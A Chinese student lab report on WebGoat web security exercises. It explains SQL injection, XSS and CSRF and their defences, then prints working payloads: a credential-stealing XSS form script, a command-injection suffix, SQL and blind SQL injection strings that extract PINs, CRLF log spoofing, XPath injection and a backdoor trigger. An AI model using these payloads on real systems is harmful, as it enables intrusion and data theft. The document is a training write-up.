2017-2018-2 20155303『網絡對抗技術』Exp9:Web安全基礎

2017-2018-2 『網絡對抗技術』Exp9:Web安全基礎

————————CONTENTS————————


一.基礎問題回答

1.SQL注入攻擊原理,如何防護?

所謂SQL注入,就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。html

sql注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行Sql語句以及進行其餘方式的攻擊,動態生成Sql語句時沒有對用戶輸入的數據進行驗證是Sql注入攻擊得逞的主要緣由。node

好比登陸過程,SQL語句通常爲:"select id from users where username = '"+username +"' and password = '" + password +"'",這裏的usernamepassword都是咱們存取從web表單得到的數據。若是咱們在表單中username的輸入框中輸入' or 1=1--。此時咱們所要執行的sql語句就變成了select id from users where username = '' or 1=1-- and password = ''。由於1=1是true,後面 and password = ''被註釋掉了。因此這裏徹底跳過了sql驗證。web

以上是最經典的一種狀況。但在本次實驗中,還涉及到了網頁對輸入字符長度的限制等等,須要修改相應的代碼。sql

因而可知,對SQL注入攻擊的防護,主要有:數據庫

  • 關閉或刪除沒必要要的交互式提交表單頁面;
  • 對漏洞注入點相關代碼進行代碼及SQL注入關鍵字的過濾,以規範代碼安全性;
  • 不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點。

2.XSS攻擊的原理,如何防護?

攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。express

瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。後端

一個原則:不相信用戶輸入的任何數據!瀏覽器

3.CSRF攻擊原理,如何防護?

CSRF 的全稱是「跨站請求僞造」,而 XSS 的全稱是「跨站腳本」。看起來有點類似,它們都是屬於跨站攻擊——不攻擊服務器端而攻擊正常訪問網站的用戶。CSRF 顧名思義,是僞造請求,冒充用戶在站內的正常操做。咱們知道,絕大多數網站是經過 cookie 等方式辨識用戶身份(包括使用服務器端 Session 的網站,由於 Session ID 也是大多保存在 cookie 裏面的),再予以受權的。因此要僞造用戶的正常操做,最好的方法是經過 XSS 或連接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。安全

嚴格意義上來講,CSRF 不能分類爲注入攻擊,由於 CSRF 的實現途徑遠遠不止 XSS 注入這一條。經過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的連接都能形成 CSRF。服務器

防護的方法可從如下幾個角度考慮:

  • 改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。
  • 使用「請求令牌」。首先服務器端要以某種策略生成隨機字符串,做爲令牌(token),保存在Session裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與Session中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登錄驗證身份。

返回目錄


二.實踐過程記錄


1.General

①Http Basics

★基礎知識

該課目的在於瞭解瀏覽器和Web 應用程序之間數據交互的基本知識。

HTTP 是如何工做的呢?全部的HTTP 傳輸都要遵循一樣的通用格式(須要使用IEWatch或WebScarab 類插件協助進行學習)。每一個客戶端的請求和服務端的響應都有三個部分:請求或響應行、一個報頭部分和實體部分。客戶端以以下方式啓動一個交互:

客戶端鏈接服務器併發送一個文件請求:

GET /index.html?param=value HTTP/1.0

接下來,客戶端發送可選頭信息,告知接收服務器其配置和文件格式:

User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*

發送請求和報頭以後,客戶端能夠發送更多的數據。該數據主要用於使用POST方法的CGI程序。

★操做方法

Step 1:使用sudo apt-get install webscarab命令安裝WebScarab,用來修改編輯http消息等。打開webscarab。

Step 2:WebScarab有兩種顯示模式:Lite interfacefull-featured interface,可在Tools菜單下進行模式切換,須要重啓軟件生效,修改http請求信息須要在full-featured interface下進行。

Step 3:點擊Proxy標籤頁->Listeners標籤頁,輸入url和端口號等,添加listener。

Step 4:點擊Proxy標籤頁->Manual Edit標籤頁, 選中Intercept requests

Step 5:在瀏覽器中(以Firefox爲例),點擊Open menu->Preferences->Advanced->Network選項卡,選擇右邊Settings...進行設置,增長一個localhost代理:

修改後重啓Firefox生效。

Step 6:在輸入框輸入姓名,點擊Go!,能夠在WebScarab中看到提交的http請求:

返回目錄


2.Code Quality

①Discover Clues in the HTML

★基礎知識

衆所周知,不少開發者喜歡在源代碼中保存FIXME's、Code Broken、Hack 等語句。經過審查源代碼中的相關注釋每每能找到密碼、後門及一些潛在的問題。

瀏覽器工具菜單中「view source」功能能夠查看網頁HTML 源代碼。

★操做方法

在當前頁面按F12,選擇「Inspect...」。搜索FIXME可看到有關用戶名和密碼的記錄:

admin/adminpw就是咱們須要的登陸名和密碼。

返回目錄


3.Cross-Site Scripting(XSS)

①Phishing with XSS

★基礎知識

在XSS的幫助下,能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。

整體目標是,建立一個form,要求填寫用戶名和密碼。

★操做方法

Step 1:一個帶用戶名和密碼輸入框的表格以下所示:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>

搜索這段代碼,能夠看到頁面中增長了一個表單:

Step 2:還須要一段腳本:

<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

這段代碼會讀取在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat。

Step 3:最後,就是要將這兩段代碼合併。最終須要輸入的代碼以下:

<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>

搜索這段代碼,出現用戶名和密碼的填寫界面:

填寫並登陸,WebGoat會反饋輸入的信息:

②Stored XSS Attacks

★基礎知識

輸入驗證是一個很好的方法,尤爲是驗證那些之後將用作參數的操做系統命令、腳本和數據庫查詢的輸入。尤其重要的是,這些內容將會永久的存放在那裏。應當禁止用戶建立消息內容。用戶的信息被檢索時,可能致使其餘用戶加載一個不良的網頁或不良的內容。當一個未經驗證的用戶的輸入做爲一個HTTP 響應時,XSS 攻擊也可能會發生。在一個反射式XSS 攻擊中,攻擊者會利用攻擊腳本精心製做一個URL 並經過將其發送到其餘網站、電子郵件、或其餘方式騙取受害者點擊它。

在這個練習中,咱們嘗試執行存儲型跨站腳本攻擊。

★操做方法

在Message中構造語句<script>alert("20155303 attack succeed!");</script>,Title任意。提交後可發現剛建立的帖子test5303:

返回目錄


4.Injection Flaws

①Command Injection

★基礎知識

命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能形成大範圍的損害,危及系統安全。儘管這類風險數目使人難以置信,互聯網中的系統很容易受到這種形式的攻擊。

這種攻擊容易擴散,形成更壞的影響。可是對於這類威脅,一點常識和預先預防幾乎能夠徹底阻止。

★操做方法

Step 1:按F12進入調試界面,選擇Inspect...對源代碼進行修改。

Step 2:例如在BackDoors.help後面加上"& netstat -an & ipconfig"

Step 3:點擊View,可看到命令的輸出結果:

②Numberic SQL Injection

★基礎知識

在station 字段中注入特徵字符,能組合成新的SQL 語句。

SELECT * FROM weather_data WHERE station = [station]

這道題的表單容許用戶查看天氣數據。需經過注入SQL字符串的方式查看全部的天氣數據。

★操做方法

Step 1:按F12進入調試界面,選擇Inspect...對源代碼進行修改。

Step 2:在選項列表中,任意選擇一個值,好比「101」,後面加上or 1=1

Step 3:輸出以下所示:

③Log Spoofing

★基礎知識

這種攻擊是在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。

★操做方法

灰色區域表明在Web 服務器的日誌中的記錄的內容。目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」。

Step 1:在文本框中輸入用戶名:smith Login Succeeded for username admin,這樣用戶名後面的信息會在同一行顯示,而不是在新的一行。

Step 2:能夠往該應用中注入回車(0D%)和換行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin,以達到修改日誌的目的:

Step 3:攻擊者能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。好比,將admin <script>alert(document.cookie)</script>做爲用戶名輸入。

④XPATH Spoofing

★基礎知識

與SQL注入相似,XPATH注入發生在當網站使用用戶提供的信息查詢XML 數據時。經過向網站故意發送異常信息,攻擊者能夠發現XML數據的結構或訪問那些原本沒法訪問到的數據。若是該XML是一個用戶認證文件(例如一個基於XML 的用戶文件),攻擊者還能借此提高本身在網站中的特權。使用XPATH查詢XML,經過一個簡單的描述性語句類型,容許XML查詢,找到一條信息。像SQL同樣,能夠指定找到的某些屬性與模式匹配。

當一個網站中使用XML,它是廣泛接受某種形式的輸入,查詢字符串,找到並將標識的內容顯示在頁面上。此類輸入必須進行清洗,以驗證它不會影響XPATH 的查詢,並返回錯誤數據。

★操做方法

本題目的表單容許員工看到本身的全部我的資料,包括他們的薪酬。

XPATH 注入相似於SQL 注入。經過未驗證的輸入建立一個XPATH 查詢。如下代碼展現瞭如何構建一個XPATH 查詢:

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" +
password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

在用戶名處注入Smith' or 1=1 or 'a'='a,這將會顯示登陸系統的第一個用戶。密碼是必須的字段,能夠任意輸入。

如下是服務器獲取的:

expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"

服務器解析後:

expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"

輸入後點「登陸」可看到其餘人的信息:

⑤LAB:SQL Injection

★操做方法

Step 1:以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,登陸失敗。

Step 2:查看網頁源代碼,發現對輸入長度進行了限制。改成100,再進行注入,成功:

⑥String SQL Injection

★基礎知識

基於如下查詢語句構造本身的SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'

★操做方法

本題的表格,容許用戶查看他們的信用卡號碼。嘗試經過SQL 注入將全部信用卡信息顯示出來。嘗試的用戶名是「Smith」。

輸入如下代碼便可完成:

’ or 1=1 --
// 或者
Smith' or 1=1 --

以下圖所示:

⑦Database Backdoors

★基礎知識

數據庫一般做爲一個Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做,如insert, select, update or delete。

舉個例子:攻擊者能夠建立一個觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email 地址設置爲攻擊者的地址。

★操做方法

Step 1:輸入101,獲得該用戶的信息:

能夠發現,輸入的語句沒有驗證,很容易進行 SQL 注入。

Step 2:若要執行兩個語句,中間須要用分號分隔。輸入注入語句101; update employee set salary=10000

Step 3:若設置觸發器,可以使用如下查詢條件:

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid

因爲WebGoat 使用的是MySQL數據庫,不支持觸發器,所以以上並不能在這裏真正實現。

⑧Blind Numberic SQL Injection

★基礎知識

某些SQL 注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。

★操做方法

Step 1:,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN 數值。儘管如此,咱們能夠利用系統後臺在用的查詢語句。查詢語句以下:

SELECT * FROM user_data WHERE userid=accountNumber;

若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。

Step 2:使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效。例以下面兩個查詢方式:

101 AND 1=1
101 AND 1=2

在第一條語句中,兩個條件都成立,因此頁面返回賬號有效。而第二條則返回賬號無效。

Step 3:

如今能夠針對查詢語句的後半部分構造複雜語句。下面的語句能夠告訴咱們 PIN 數值是否大於10000:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

若是頁面提示賬號有效,說明PIN>10000 不然 PIN<=10000。

Step 4:

不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN 數值的大小。最終以下語句返回賬號有效:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

Step 5:在查詢框中輸入2364 並提交:

⑨Blind String SQL Injection

★操做方法

目標是找到 pins 表中cc_number 字段值爲4321432143214321的記錄中pin字段的數值。pin字段類型爲varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。

本節課程很是相似與上一節。最大的不一樣是要查詢的字段是一個字符串而不是數值。所以咱們一樣能夠經過注入的方式查找到該字段的值。查詢語句很是相似上一節,以下:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

該語句使用了SUBSTRING 方法,取得pin 字段數值的第一個字母,並判斷其是否比字母「H」小。SUBSTRING 語法以下:

SUBSTRING(STRING,START,LENGTH)

通過屢次測試(比較0-9A-Za-z 等字符串)和頁面的返回數據,判斷出第一個字符爲「J」。同理繼續判斷第二個字符。

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

最終,判斷出pin字段的值爲:Jill。提交改值:

返回目錄


三.實踐總結及體會

本次實驗在Webgoat平臺上進行,不須要過於複雜的環境配置過程,每個小實驗測試的知識點也都很是明瞭。好比Injection Flaws中有不少關於注入的小實驗,不一樣的實驗側重不一樣的考察點。無論是命令注入、日誌欺騙,仍是數據庫後門,都讓我在實踐中對理論有了更加深入地理解。除此以外,在實踐的過程當中,我參考了WebGoat官方的使用手冊,其中對於每個小實驗的原理都介紹得很是清楚。在官方手冊的指導下順利完成了本次實驗。

九次實驗到此就算圓滿結束啦,撒花ᖗ( ᐛ )ᖘ

這學期延續了以前「自學+實踐+博客總結」的模式,有了前一年的基礎和養成的習慣,這學期所以能較快適應。總的來講收穫很大,雖然只是些網絡攻防的入門實踐,但涉及到的方面很是廣,讓咱們瞭解到了各個領域可能存在的攻擊。「師傅領進門,修行靠我的」吧,這門課程短暫的一學期學習時間不可能對全部的最新攻擊面面俱到,能掌握方法纔是最重要的。

是結束也是開始,預祝同窗們在這門課程中都取得滿意的成績୧( "̮ )୨✧ᐦ

返回目錄


附:參考資料

相關文章
相關標籤/搜索